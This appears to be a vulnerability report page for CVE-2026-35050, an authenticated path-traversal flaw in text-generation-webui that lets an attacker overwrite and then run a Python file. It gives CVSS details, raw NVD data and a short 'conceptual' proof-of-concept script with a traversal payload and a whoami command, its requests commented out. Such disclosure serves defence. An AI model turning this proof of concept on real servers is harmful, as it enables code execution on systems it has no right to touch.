Security Vulnerability Report
中文
CVE-2026-35050 CVSS 9.1 CRITICAL

CVE-2026-35050

Published: 2026-04-06 18:16:43
Last Modified: 2026-04-22 19:28:05

Description

text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.1.1, users can save extention settings in "py" format and in the app root directory. This allows to overwrite python files, for instance the "download-model.py" file could be overwritten. Then, this python file can be triggered to get executed from "Model" menu when requesting to download a new model. This vulnerability is fixed in 4.1.1.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oobabooga:textgen:*:*:*:*:*:*:*:* - VULNERABLE
text-generation-webui < 4.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Conceptual PoC for CVE-2026-35050 # This script demonstrates how an authenticated attacker might overwrite a critical file. TARGET_URL = "http://target:5000" SESSION_COOKIE = "..." # High privilege session required MALICIOUS_CODE = "import os; os.system('whoami')" # Step 1: Overwrite download-model.py via settings save payload = { "extension_name": "base", "settings_filename": "../download-model.py", # Path traversal to root "settings_content": MALICIOUS_CODE } print("[*] Attempting to overwrite download-model.py...") # r = requests.post(f"{TARGET_URL}/api/save-settings", cookies={"session": SESSION_COOKIE}, json=payload) # Step 2: Trigger execution via Model menu (Download Model) print("[*] Triggering model download to execute the payload...") # r = requests.post(f"{TARGET_URL}/api/download-model", cookies={"session": SESSION_COOKIE}, json={"model_name": "dummy"})

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35050", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:42.583", "lastModified": "2026-04-22T19:28:04.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.1.1, users can save extention settings in \"py\" format and in the app root directory. This allows to overwrite python files, for instance the \"download-model.py\" file could be overwritten. Then, this python file can be triggered to get executed from \"Model\" menu when requesting to download a new model. This vulnerability is fixed in 4.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oobabooga:textgen:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.1", "matchCriteriaId": "8721B2AD-FA53-4979-8E7A-68D571B91D82"}]}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-jg96-p5p6-q3cv", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}